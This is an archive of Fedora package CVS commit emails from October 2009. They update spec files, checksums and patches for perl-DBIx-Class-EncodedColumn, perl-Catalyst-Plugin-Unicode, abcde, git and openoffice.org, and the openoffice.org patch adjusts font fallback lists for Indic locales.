* Sun Oct 18 2009 Iain Arnell <iarnell at gmail.com> 0.00005-1
- update to latest upstream



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/perl-DBIx-Class-EncodedColumn/devel/.cvsignore,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- .cvsignore	5 Sep 2009 08:33:30 -0000	1.4
+++ .cvsignore	18 Oct 2009 08:48:48 -0000	1.5
@@ -1 +1 @@
-DBIx-Class-EncodedColumn-0.00004.tar.gz
+DBIx-Class-EncodedColumn-0.00005.tar.gz


Index: perl-DBIx-Class-EncodedColumn.spec
===================================================================
RCS file: /cvs/pkgs/rpms/perl-DBIx-Class-EncodedColumn/devel/perl-DBIx-Class-EncodedColumn.spec,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- perl-DBIx-Class-EncodedColumn.spec	5 Sep 2009 08:33:31 -0000	1.5
+++ perl-DBIx-Class-EncodedColumn.spec	18 Oct 2009 08:48:48 -0000	1.6
@@ -1,11 +1,11 @@
 Name:           perl-DBIx-Class-EncodedColumn
-Version:        0.00004
+Version:        0.00005
 Release:        1%{?dist}
 Summary:        Automatically encode columns
 License:        GPL+ or Artistic
 Group:          Development/Libraries
 URL:            http://search.cpan.org/dist/DBIx-Class-EncodedColumn/
-Source0:        http://search.cpan.org/CPAN/authors/id/M/MS/MSTROUT/DBIx-Class-EncodedColumn-%{version}.tar.gz
+Source0:        http://cpan.org/modules/by-module/DBIx/DBIx-Class-EncodedColumn-%{version}.tar.gz
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildArch:      noarch
 BuildRequires:  perl(DBD::SQLite)
@@ -56,6 +56,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_mandir}/man3/*
 
 %changelog
+* Sun Oct 18 2009 Iain Arnell <iarnell at gmail.com> 0.00005-1
+- update to latest upstream
+
 * Sat Sep 05 2009 Iain Arnell <iarnell at gmail.com> 0.00004-1
 - update to latest upstream (minor documentation fix)
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/perl-DBIx-Class-EncodedColumn/devel/sources,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- sources	5 Sep 2009 08:33:31 -0000	1.4
+++ sources	18 Oct 2009 08:48:48 -0000	1.5
@@ -1 +1 @@
-4dc99811f29f054bdfd526735bcbc357  DBIx-Class-EncodedColumn-0.00004.tar.gz
+528492ae5c7c560632774d7f513b6c2d  DBIx-Class-EncodedColumn-0.00005.tar.gz



From iarnell at fedoraproject.org  Sun Oct 18 08:54:49 2009
From: iarnell at fedoraproject.org (Iain Arnell)
Date: Sun, 18 Oct 2009 08:54:49 +0000 (UTC)
Subject: rpms/perl-Catalyst-Plugin-Unicode/devel
	perl-Catalyst-Plugin-Unicode.spec, 1.4, 1.5
Message-ID: <20091018085449.BDEF611C00E8@cvs1.fedora.phx.redhat.com>

Author: iarnell

Update of /cvs/pkgs/rpms/perl-Catalyst-Plugin-Unicode/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv11766

Modified Files:
	perl-Catalyst-Plugin-Unicode.spec 
Log Message:
* Sun Oct 18 2009 Iain Arnell <iarnell at gmail.com> 0.92-2
- set PERL5_CPANPLUS_IS_RUNNING for Makefile.PL



Index: perl-Catalyst-Plugin-Unicode.spec
===================================================================
RCS file: /cvs/pkgs/rpms/perl-Catalyst-Plugin-Unicode/devel/perl-Catalyst-Plugin-Unicode.spec,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- perl-Catalyst-Plugin-Unicode.spec	18 Oct 2009 08:45:03 -0000	1.4
+++ perl-Catalyst-Plugin-Unicode.spec	18 Oct 2009 08:54:49 -0000	1.5
@@ -1,6 +1,6 @@
 Name:           perl-Catalyst-Plugin-Unicode
 Version:        0.92
-Release:        1%{?dist}
+Release:        2%{?dist}
 Summary:        Unicode aware Catalyst
 License:        GPL+ or Artistic
 Group:          Development/Libraries
@@ -27,7 +27,7 @@ characters. On response, encodes body in
 %setup -q -n Catalyst-Plugin-Unicode-%{version}
 
 %build
-%{__perl} Makefile.PL INSTALLDIRS=vendor
+PERL5_CPANPLUS_IS_RUNNING=1 %{__perl} Makefile.PL INSTALLDIRS=vendor
 make %{?_smp_mflags}
 
 %install
@@ -53,6 +53,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_mandir}/man3/*
 
 %changelog
+* Sun Oct 18 2009 Iain Arnell <iarnell at gmail.com> 0.92-2
+- set PERL5_CPANPLUS_IS_RUNNING for Makefile.PL
+
 * Sun Oct 18 2009 Iain Arnell <iarnell at gmail.com> 0.92-1
 - update to latest upstream
 



From scop at fedoraproject.org  Sun Oct 18 10:39:31 2009
From: scop at fedoraproject.org (=?utf-8?q?Ville_Skytt=C3=A4?=)
Date: Sun, 18 Oct 2009 10:39:31 +0000 (UTC)
Subject: rpms/abcde/devel abcde-2.4.0-config.patch, NONE, 1.1 .cvsignore,
	1.12, 1.13 abcde.spec, 1.22, 1.23 sources, 1.12,
	1.13 abcde-2.3.99.8-config.patch, 1.1, NONE
Message-ID: <20091018103931.EC9C111C00E8@cvs1.fedora.phx.redhat.com>

Author: scop

Update of /cvs/pkgs/rpms/abcde/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv6168

Modified Files:
	.cvsignore abcde.spec sources 
Added Files:
	abcde-2.4.0-config.patch 
Removed Files:
	abcde-2.3.99.8-config.patch 
Log Message:
* Sun Oct 18 2009 Ville Skytt? <ville.skytta at iki.fi> - 2.4.0-1
- Update to 2.4.0 (#529509).


abcde-2.4.0-config.patch:
 README     |    4 ++--
 abcde      |    2 +-
 abcde.1    |    6 +++---
 abcde.conf |    2 +-
 4 files changed, 7 insertions(+), 7 deletions(-)

--- NEW FILE abcde-2.4.0-config.patch ---
diff -up abcde-2.4.0/abcde~ abcde-2.4.0/abcde
--- abcde-2.4.0/abcde~	2009-10-17 11:51:57.000000000 +0300
+++ abcde-2.4.0/abcde	2009-10-18 12:07:31.000000000 +0300
@@ -3035,7 +3035,7 @@ MUSICBRAINZ=musicbrainz-get-tracks
 EJECT=eject
 MD5SUM=md5sum
 DISTMP3=distmp3
-NORMALIZE=normalize-audio
+NORMALIZE=normalize
 CDSPEED=eject
 VORBISGAIN=vorbisgain
 MP3GAIN=mp3gain
diff -up abcde-2.4.0/abcde.1~ abcde-2.4.0/abcde.1
--- abcde-2.4.0/abcde.1~	2009-10-16 22:02:54.000000000 +0300
+++ abcde-2.4.0/abcde.1	2009-10-18 12:07:32.000000000 +0300
@@ -325,7 +325,7 @@ only support \'faac\', so \'default\' po
 .TP
 .B NORMALIZERSYNTAX
 Specifies the style of normalizer to use.  Valid options are \'default\'
-and \'normalize'\ (and both run \'normalize-audio\'), since we only support it,
+and \'normalize'\ (and both run \'normalize\'), since we only support it,
 ATM.
 .TP
 .B CDROMREADERSYNTAX
@@ -563,7 +563,7 @@ An HTTP retrieval program: wget, fetch (
 (optional) distmp3, a client/server for distributed mp3 encoding.
 .TP
 .B *
-(optional) normalize-audio, a WAV file volume normalizer.
+(optional) normalize, a WAV file volume normalizer.
 .TP
 .B *
 (optional) a replaygain file volume modifier (vorbisgain, metaflac, mp3gain, replaygain),
@@ -575,7 +575,7 @@ An HTTP retrieval program: wget, fetch (
 .BR icedax (1),
 .BR cdda2wav (1),
 .BR dagrab (1),
-.BR normalize-audio (1),
+.BR normalize (1),
 .BR oggenc (1),
 .BR vorbize (1),
 .BR flac (1),
diff -up abcde-2.4.0/abcde.conf~ abcde-2.4.0/abcde.conf
--- abcde-2.4.0/abcde.conf~	2009-10-16 22:02:54.000000000 +0300
+++ abcde-2.4.0/abcde.conf	2009-10-18 12:07:34.000000000 +0300
@@ -139,7 +139,7 @@
 #DISTMP3=distmp3
 #VORBISCOMMENT=vorbiscomment
 #METAFLAC=metaflac
-#NORMALIZE=normalize-audio
+#NORMALIZE=normalize
 #CDSPEED=eject
 #VORBISGAIN=vorbisgain
 #MKCUE=mkcue
diff -up abcde-2.4.0/README~ abcde-2.4.0/README
--- abcde-2.4.0/README~	2009-10-16 22:02:54.000000000 +0300
+++ abcde-2.4.0/README	2009-10-18 12:07:27.000000000 +0300
@@ -152,7 +152,7 @@ Options added/modified from 2.1.1 to 2.1
 
 Options added/modified from 2.0.3 to 2.1.x:
 
-* -b use batch processing. It uses normalize-audio to adjust the volume of 
+* -b use batch processing. It uses normalize to adjust the volume of 
   the songs, and a -g gapless option from lame to remove gaps. Only available
   for mp3+lame combination.
 * a new "normalize" option has been added to -a, to normalize the volume.
@@ -205,7 +205,7 @@ abcde requires the following backend too
 * Ogg/Speex encoder (speexenc) or:
 * MPP/MP+(Musepack) encoder (mppenc) or:
 * AAC encoder (faac)
-* normalize-audio for volume normalization.
+* normalize for volume normalization.
 * CD Paranoia, an audio CD reading utility or:
 * icedax/cdda2wav, the audio CD reading utility cdparanoia was born from or:
 * dagrab, another audio CD reading utility.


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/abcde/devel/.cvsignore,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- .cvsignore	11 Aug 2009 22:01:31 -0000	1.12
+++ .cvsignore	18 Oct 2009 10:39:29 -0000	1.13
@@ -1 +1 @@
-abcde_2.3.99.8.orig.tar.gz
+abcde_2.4.0.orig.tar.gz


Index: abcde.spec
===================================================================
RCS file: /cvs/pkgs/rpms/abcde/devel/abcde.spec,v
retrieving revision 1.22
retrieving revision 1.23
diff -u -p -r1.22 -r1.23
--- abcde.spec	11 Aug 2009 22:01:31 -0000	1.22
+++ abcde.spec	18 Oct 2009 10:39:29 -0000	1.23
@@ -1,5 +1,5 @@
 Name:           abcde
-Version:        2.3.99.8
+Version:        2.4.0
 Release:        1%{?dist}
 Summary:        A Better CD Encoder
 
@@ -10,7 +10,7 @@ Group:          Applications/Multimedia
 License:        GPLv2+
 URL:            http://code.google.com/p/abcde/
 Source0:        http://ftp.debian.org/debian/pool/main/a/abcde/%{name}_%{version}.orig.tar.gz
-Patch0:         %{name}-2.3.99.8-config.patch
+Patch0:         %{name}-2.4.0-config.patch
 # http://code.google.com/p/abcde/issues/detail?id=17
 Patch1:         %{name}-2.1.19-inst.patch
 # Cherry-picked bits from Ubuntu's 2.3.99.7-1ubuntu1
@@ -70,10 +70,13 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Sun Oct 18 2009 Ville Skytt? <ville.skytta at iki.fi> - 2.4.0-1
+- Update to 2.4.0 (#529509).
+
 * Wed Aug 12 2009 Ville Skytt? <ville.skytta at iki.fi> - 2.3.99.8-1
 - Update to 2.3.99.8 (#516886).
 
-* Mon Jul 27 2009 Ville Skytt? <ville.skytta at iki.fi> - 2.3.99.7-1
+* Mon Jul 27 2009 Ville Skytt? <ville.skytta at iki.fi> - 2.3.99.7-1
 - Update to 2.3.99.7 (#513795); wget and usage patches applied upstream.
 - Patch to improve CDDB track info handling.
 - Update URL.
@@ -84,57 +87,57 @@ rm -rf $RPM_BUILD_ROOT
 * Mon Feb 23 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 2.3.99.6-8
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_11_Mass_Rebuild
 
-* Thu Apr 10 2008 Ville Skytt? <ville.skytta at iki.fi> - 2.3.99.6-7
+* Thu Apr 10 2008 Ville Skytt? <ville.skytta at iki.fi> - 2.3.99.6-7
 - Patch to work around wget 1.11 regression (#441862).
 
-* Sat Jan 19 2008 Ville Skytt? <ville.skytta at iki.fi> - 2.3.99.6-6
+* Sat Jan 19 2008 Ville Skytt? <ville.skytta at iki.fi> - 2.3.99.6-6
 - Include fixes from Ubuntu's 2.3.99.6-1ubuntu2: enables M4A and Speex
   tagging, fixes range code, and the -M option.
 - Fix Speex comment tagging.
 - Fix some usage message spelling errors.
 - Drop disttag.
 
-* Sat Sep 29 2007 Ville Skytt? <ville.skytta at iki.fi> - 2.3.99.6-4
+* Sat Sep 29 2007 Ville Skytt? <ville.skytta at iki.fi> - 2.3.99.6-4
 - Requires: which
 
-* Mon Aug 13 2007 Ville Skytt? <ville.skytta at iki.fi> - 2.3.99.6-3
+* Mon Aug 13 2007 Ville Skytt? <ville.skytta at iki.fi> - 2.3.99.6-3
 - License: GPLv2+
 - Add (empty) %%build section.
 
-* Tue Aug 29 2006 Ville Skytt? <ville.skytta at iki.fi> - 2.3.99.6-2
+* Tue Aug 29 2006 Ville Skytt? <ville.skytta at iki.fi> - 2.3.99.6-2
 - Change vorbis-tools and flac dependencies to Requires(hint), drop
   speex dependency.
 
-* Mon Aug  7 2006 Ville Skytt? <ville.skytta at iki.fi> - 2.3.99.6-1
+* Mon Aug  7 2006 Ville Skytt? <ville.skytta at iki.fi> - 2.3.99.6-1
 - 2.3.99.6.
 
-* Wed Mar  1 2006 Ville Skytt? <ville.skytta at iki.fi> - 2.3.99.5-1
+* Wed Mar  1 2006 Ville Skytt? <ville.skytta at iki.fi> - 2.3.99.5-1
 - 2.3.99.5.
 
-* Wed Dec 14 2005 Ville Skytt? <ville.skytta at iki.fi> - 2.3.99.2-1
+* Wed Dec 14 2005 Ville Skytt? <ville.skytta at iki.fi> - 2.3.99.2-1
 - 2.3.99.2, config file fixes mostly applied upstream.
 
-* Sat Dec 10 2005 Ville Skytt? <ville.skytta at iki.fi> - 2.3.99-1
+* Sat Dec 10 2005 Ville Skytt? <ville.skytta at iki.fi> - 2.3.99-1
 - 2.3.99, minor config file fixes.
 
-* Mon Sep  5 2005 Ville Skytt? <ville.skytta at iki.fi> - 2.3.4-1
+* Mon Sep  5 2005 Ville Skytt? <ville.skytta at iki.fi> - 2.3.4-1
 - 2.3.4.
 
-* Fri Aug 26 2005 Ville Skytt? <ville.skytta at iki.fi> - 2.3.3-1
+* Fri Aug 26 2005 Ville Skytt? <ville.skytta at iki.fi> - 2.3.3-1
 - 2.3.3.
 - Reformat specfile.
 
-* Sat Aug 20 2005 Ville Skytt? <ville.skytta at iki.fi> - 2.3.2-1
+* Sat Aug 20 2005 Ville Skytt? <ville.skytta at iki.fi> - 2.3.2-1
 - 2.3.2, vi and genre patches applied upstream.
 - Convert man page to UTF-8.
 
 * Fri Apr  7 2005 Michael Schwendt <mschwendt[AT]users.sf.net> - 2.2.3-2
 - rebuilt
 
-* Thu Feb 10 2005 Ville Skytt? <ville.skytta at iki.fi> - 2.2.3-1
+* Thu Feb 10 2005 Ville Skytt? <ville.skytta at iki.fi> - 2.2.3-1
 - Update to 2.2.3.
 
-* Mon Jan 17 2005 Ville Skytt? <ville.skytta at iki.fi> - 2.2.0-2
+* Mon Jan 17 2005 Ville Skytt? <ville.skytta at iki.fi> - 2.2.0-2
 - Add vorbis-tools, flac, cdparanoia, wget, and speex dependencies.
 - Weed out some Debianisms from default external tool names.
 - Include more docs.


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/abcde/devel/sources,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- sources	11 Aug 2009 22:01:31 -0000	1.12
+++ sources	18 Oct 2009 10:39:29 -0000	1.13
@@ -1 +1 @@
-981fd4bfd6938bb6a1130f6193bffb00  abcde_2.3.99.8.orig.tar.gz
+621abafbfc4eecbbc887dc400d697c2f  abcde_2.4.0.orig.tar.gz


--- abcde-2.3.99.8-config.patch DELETED ---



From tmz at fedoraproject.org  Sun Oct 18 13:30:27 2009
From: tmz at fedoraproject.org (Todd M. Zullinger)
Date: Sun, 18 Oct 2009 13:30:27 +0000 (UTC)
Subject: rpms/git/devel .cvsignore, 1.83, 1.84 git.spec, 1.97, 1.98 sources, 
	1.83, 1.84
Message-ID: <20091018133028.0A49211C029A@cvs1.fedora.phx.redhat.com>

Author: tmz

Update of /cvs/pkgs/rpms/git/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv13940

Modified Files:
	.cvsignore git.spec sources 
Log Message:
Update to git-1.6.5.1



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/git/devel/.cvsignore,v
retrieving revision 1.83
retrieving revision 1.84
diff -u -p -r1.83 -r1.84
--- .cvsignore	14 Oct 2009 02:40:45 -0000	1.83
+++ .cvsignore	18 Oct 2009 13:30:26 -0000	1.84
@@ -1 +1 @@
-git-1.6.5.tar.bz2
+git-1.6.5.1.tar.bz2


Index: git.spec
===================================================================
RCS file: /cvs/pkgs/rpms/git/devel/git.spec,v
retrieving revision 1.97
retrieving revision 1.98
diff -u -p -r1.97 -r1.98
--- git.spec	14 Oct 2009 02:40:46 -0000	1.97
+++ git.spec	18 Oct 2009 13:30:26 -0000	1.98
@@ -1,6 +1,6 @@
 # Pass --without docs to rpmbuild if you don't want the documentation
 Name:           git
-Version:        1.6.5
+Version:        1.6.5.1
 Release:        1%{?dist}
 Summary:        Fast Version Control System
 License:        GPLv2
@@ -387,6 +387,9 @@ rm -rf $RPM_BUILD_ROOT
 # No files for you!
 
 %changelog
+* Sat Oct 17 2009 Todd Zullinger <tmz at pobox.com> - 1.6.5.1-1
+- git-1.6.5.1
+
 * Sun Oct 11 2009 Todd Zullinger <tmz at pobox.com> - 1.6.5-1
 - git-1.6.5
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/git/devel/sources,v
retrieving revision 1.83
retrieving revision 1.84
diff -u -p -r1.83 -r1.84
--- sources	14 Oct 2009 02:40:46 -0000	1.83
+++ sources	18 Oct 2009 13:30:26 -0000	1.84
@@ -1 +1 @@
-da86c1736c55edb9f446828581137b51  git-1.6.5.tar.bz2
+fd784f407d538705ed36c0498542d4f5  git-1.6.5.1.tar.bz2



From tmz at fedoraproject.org  Sun Oct 18 13:58:03 2009
From: tmz at fedoraproject.org (Todd M. Zullinger)
Date: Sun, 18 Oct 2009 13:58:03 +0000 (UTC)
Subject: rpms/git/F-12 .cvsignore, 1.83, 1.84 git.spec, 1.97, 1.98 sources, 
	1.83, 1.84
Message-ID: <20091018135803.08BB811C00E8@cvs1.fedora.phx.redhat.com>

Author: tmz

Update of /cvs/pkgs/rpms/git/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv19848

Modified Files:
	.cvsignore git.spec sources 
Log Message:
Update to git-1.6.5.1



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/git/F-12/.cvsignore,v
retrieving revision 1.83
retrieving revision 1.84
diff -u -p -r1.83 -r1.84
--- .cvsignore	14 Oct 2009 03:24:09 -0000	1.83
+++ .cvsignore	18 Oct 2009 13:58:02 -0000	1.84
@@ -1 +1 @@
-git-1.6.5.tar.bz2
+git-1.6.5.1.tar.bz2


Index: git.spec
===================================================================
RCS file: /cvs/pkgs/rpms/git/F-12/git.spec,v
retrieving revision 1.97
retrieving revision 1.98
diff -u -p -r1.97 -r1.98
--- git.spec	14 Oct 2009 03:24:09 -0000	1.97
+++ git.spec	18 Oct 2009 13:58:02 -0000	1.98
@@ -1,6 +1,6 @@
 # Pass --without docs to rpmbuild if you don't want the documentation
 Name:           git
-Version:        1.6.5
+Version:        1.6.5.1
 Release:        1%{?dist}
 Summary:        Fast Version Control System
 License:        GPLv2
@@ -387,6 +387,9 @@ rm -rf $RPM_BUILD_ROOT
 # No files for you!
 
 %changelog
+* Sat Oct 17 2009 Todd Zullinger <tmz at pobox.com> - 1.6.5.1-1
+- git-1.6.5.1
+
 * Sun Oct 11 2009 Todd Zullinger <tmz at pobox.com> - 1.6.5-1
 - git-1.6.5
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/git/F-12/sources,v
retrieving revision 1.83
retrieving revision 1.84
diff -u -p -r1.83 -r1.84
--- sources	14 Oct 2009 03:24:09 -0000	1.83
+++ sources	18 Oct 2009 13:58:02 -0000	1.84
@@ -1 +1 @@
-da86c1736c55edb9f446828581137b51  git-1.6.5.tar.bz2
+fd784f407d538705ed36c0498542d4f5  git-1.6.5.1.tar.bz2



From caolanm at fedoraproject.org  Sun Oct 18 14:32:48 2009
From: caolanm at fedoraproject.org (Caolan McNamara)
Date: Sun, 18 Oct 2009 14:32:48 +0000 (UTC)
Subject: rpms/openoffice.org/F-12 workspace.vcl106.patch,1.2,1.3
Message-ID: <20091018143248.83D9611C00E8@cvs1.fedora.phx.redhat.com>

Author: caolanm

Update of /cvs/pkgs/rpms/openoffice.org/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv25740/F-12

Modified Files:
	workspace.vcl106.patch 
Log Message:
sync fonts

workspace.vcl106.patch:
 officecfg/registry/data/org/openoffice/VCL.xcu |  308 +++++++++++++++++++------
 psprint/source/fontsubset/gsub.cxx             |   10 
 unx/gtk/a11y/atkutil.cxx                       |   13 -
 vcl/source/glyphs/gcach_ftyp.cxx               |   11 
 4 files changed, 271 insertions(+), 71 deletions(-)

Index: workspace.vcl106.patch
===================================================================
RCS file: /cvs/pkgs/rpms/openoffice.org/F-12/workspace.vcl106.patch,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- workspace.vcl106.patch	15 Oct 2009 09:03:01 -0000	1.2
+++ workspace.vcl106.patch	18 Oct 2009 14:32:48 -0000	1.3
@@ -82,13 +82,13 @@ Index: officecfg/registry/data/org/openo
 ===================================================================
 --- officecfg/registry/data/org/openoffice/VCL.xcu	(revision 276736)
 +++ officecfg/registry/data/org/openoffice/VCL.xcu	(working copy)
-@@ -825,6 +825,46 @@
+@@ -825,64 +822,184 @@
          <value>Lohit Nepali;Kalimati;Samanata;Sans</value>
        </prop>
      </node>
 +    <node oor:name="as-IN" oor:op="replace">
 +      <prop oor:name="UI_SANS" oor:op="replace" oor:type="xs:string">
-+        <value>Lohit Assamese;Tahoma;Lucidasans;Lucida Sans;Supplement;Andale Sans UI;Arial Unicode MS;Lucida Sans Unicode;clearlyU;Interface User;WarpSans;Geneva;MS Sans Serif;Helv;Dialog;Albany AMT;Albany;Lucida;Arial;Nimbus Sans L;Helvetica;Charcoal;Chicago;Helmet;Interface System;Sans Serif</value>
++        <value>Lohit Assamese;Tahoma;Lucidasans;Lucida Sans;Supplement;Andale Sans UI;Arial Unicode MS;Lucida Sans Unicode;clearlyU</value>
 +      </prop>
 +      <prop oor:name="CTL_DISPLAY" oor:op="replace" oor:type="xs:string">
 +        <value>Lohit Assamese;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
@@ -108,54 +108,119 @@ Index: officecfg/registry/data/org/openo
 +    </node>
 +    <node oor:name="bn-IN" oor:op="replace">
 +      <prop oor:name="UI_SANS" oor:op="replace" oor:type="xs:string">
-+        <value>Lohit Bengali;Tahoma;Lucidasans;Lucida Sans;Supplement;Andale Sans UI;Arial Unicode MS;Lucida Sans Unicode;clearlyU;Interface User;WarpSans;Geneva;MS Sans Serif;Helv;Dialog;Albany AMT;Albany;Lucida;Arial;Nimbus Sans L;Helvetica;Charcoal;Chicago;Helmet;Interface System;Sans Serif</value>
++        <value>Lohit Bengali;Vrinda;Lucidasans;Lucida Sans;Andale Sans UI;Arial Unicode MS;Lucida Sans Unicode;clearlyU</value>
 +      </prop>
 +      <prop oor:name="CTL_DISPLAY" oor:op="replace" oor:type="xs:string">
-+        <value>Lohit Bengali;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
++        <value>Lohit Bengali;Vrinda;Lucidasans;Lucida Sans;Arial Unicode MS</value>
 +      </prop>
 +      <prop oor:name="CTL_HEADING" oor:op="replace" oor:type="xs:string">
-+        <value>Lohit Bengali;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
++        <value>Lohit Bengali;Vrinda;Lucidasans;Lucida Sans;Arial Unicode MS</value>
 +      </prop>
 +      <prop oor:name="CTL_PRESENTATION" oor:op="replace" oor:type="xs:string">
-+        <value>Lohit Bengali;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
++        <value>Lohit Bengali;Vrinda;Lucidasans;Lucida Sans;Arial Unicode MS</value>
 +      </prop>
 +      <prop oor:name="CTL_SPREADSHEET" oor:op="replace" oor:type="xs:string">
-+        <value>Lohit Bengali;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
++        <value>Lohit Bengali;Vrinda;Lucidasans;Lucida Sans;Arial Unicode MS</value>
 +      </prop>
 +      <prop oor:name="CTL_TEXT" oor:op="replace" oor:type="xs:string">
-+        <value>Lohit Bengali;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
++        <value>Lohit Bengali;Vrinda;Lucidasans;Lucida Sans;Arial Unicode MS</value>
 +      </prop>
 +    </node>
      <node oor:name="hi-IN" oor:op="replace">
        <prop oor:name="UI_SANS" oor:op="replace" oor:type="xs:string">
-         <value>Lohit Hindi;Tahoma;Lucidasans;Lucida Sans;Supplement;Andale Sans UI;Arial Unicode MS;Lucida Sans Unicode;clearlyU;Interface User;WarpSans;Geneva;MS Sans Serif;Helv;Dialog;Albany AMT;Albany;Lucida;Arial;Nimbus Sans L;Helvetica;Charcoal;Chicago;Helmet;Interface System;Sans Serif</value>
-@@ -865,6 +905,86 @@
-         <value>Lohit Gujarati;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
+-        <value>Lohit Hindi;Tahoma;Lucidasans;Lucida Sans;Supplement;Andale Sans UI;Arial Unicode MS;Lucida Sans Unicode;clearlyU;Interface User;WarpSans;Geneva;MS Sans Serif;Helv;Dialog;Albany AMT;Albany;Lucida;Arial;Nimbus Sans L;Helvetica;Charcoal;Chicago;Helmet;Interface System;Sans Serif</value>
+-      </prop>
+-      <prop oor:name="CTL_DISPLAY" oor:op="replace" oor:type="xs:string">
+-        <value>Lohit Hindi;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
+-      </prop>
+-      <prop oor:name="CTL_HEADING" oor:op="replace" oor:type="xs:string">
+-        <value>Lohit Hindi;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
+-      </prop>
+-      <prop oor:name="CTL_PRESENTATION" oor:op="replace" oor:type="xs:string">
+-        <value>Lohit Hindi;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
+-      </prop>
+-      <prop oor:name="CTL_SPREADSHEET" oor:op="replace" oor:type="xs:string">
+-        <value>Lohit Hindi;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
+-      </prop>
+-      <prop oor:name="CTL_TEXT" oor:op="replace" oor:type="xs:string">
+-        <value>Lohit Hindi;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
++        <value>Lohit Hindi;Mangal;Lucidasans;Lucida Sans;Andale Sans UI;Arial Unicode MS;Lucida Sans Unicode;clearlyU</value>
++      </prop>
++      <prop oor:name="CTL_DISPLAY" oor:op="replace" oor:type="xs:string">
++        <value>Lohit Hindi;Mangal;Lucidasans;Lucida Sans;Arial Unicode MS</value>
++      </prop>
++      <prop oor:name="CTL_HEADING" oor:op="replace" oor:type="xs:string">
++        <value>Lohit Hindi;Mangal;Lucidasans;Lucida Sans;Arial Unicode MS</value>
++      </prop>
++      <prop oor:name="CTL_PRESENTATION" oor:op="replace" oor:type="xs:string">
++        <value>Lohit Hindi;Mangal;Lucidasans;Lucida Sans;Arial Unicode MS</value>
++      </prop>
++      <prop oor:name="CTL_SPREADSHEET" oor:op="replace" oor:type="xs:string">
++        <value>Lohit Hindi;Mangal;Lucidasans;Lucida Sans;Arial Unicode MS</value>
++      </prop>
++      <prop oor:name="CTL_TEXT" oor:op="replace" oor:type="xs:string">
++        <value>Lohit Hindi;Mangal;Lucidasans;Lucida Sans;Arial Unicode MS</value>
        </prop>
      </node>
+     <node oor:name="gu-IN" oor:op="replace">
+       <prop oor:name="UI_SANS" oor:op="replace" oor:type="xs:string">
+-        <value>Lohit Gujarati;Tahoma;Lucidasans;Lucida Sans;Supplement;Andale Sans UI;Arial Unicode MS;Lucida Sans Unicode;clearlyU;Interface User;WarpSans;Geneva;MS Sans Serif;Helv;Dialog;Albany AMT;Albany;Lucida;Arial;Nimbus Sans L;Helvetica;Charcoal;Chicago;Helmet;Interface System;Sans Serif</value>
+-      </prop>
+-      <prop oor:name="CTL_DISPLAY" oor:op="replace" oor:type="xs:string">
+-        <value>Lohit Gujarati;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
+-      </prop>
+-      <prop oor:name="CTL_HEADING" oor:op="replace" oor:type="xs:string">
+-        <value>Lohit Gujarati;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
+-      </prop>
+-      <prop oor:name="CTL_PRESENTATION" oor:op="replace" oor:type="xs:string">
+-        <value>Lohit Gujarati;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
+-      </prop>
+-      <prop oor:name="CTL_SPREADSHEET" oor:op="replace" oor:type="xs:string">
+-        <value>Lohit Gujarati;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
+-      </prop>
+-      <prop oor:name="CTL_TEXT" oor:op="replace" oor:type="xs:string">
+-        <value>Lohit Gujarati;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
++        <value>Lohit Gujarati;Shruti;Lucidasans;Lucida Sans;Arial Unicode MS;Lucida Sans Unicode;clearlyU</value>
++      </prop>
++      <prop oor:name="CTL_DISPLAY" oor:op="replace" oor:type="xs:string">
++        <value>Lohit Gujarati;Shruti;Lucidasans;Lucida Sans;Arial Unicode MS</value>
++      </prop>
++      <prop oor:name="CTL_HEADING" oor:op="replace" oor:type="xs:string">
++        <value>Lohit Gujarati;Shruti;Lucidasans;Lucida Sans;Arial Unicode MS</value>
++      </prop>
++      <prop oor:name="CTL_PRESENTATION" oor:op="replace" oor:type="xs:string">
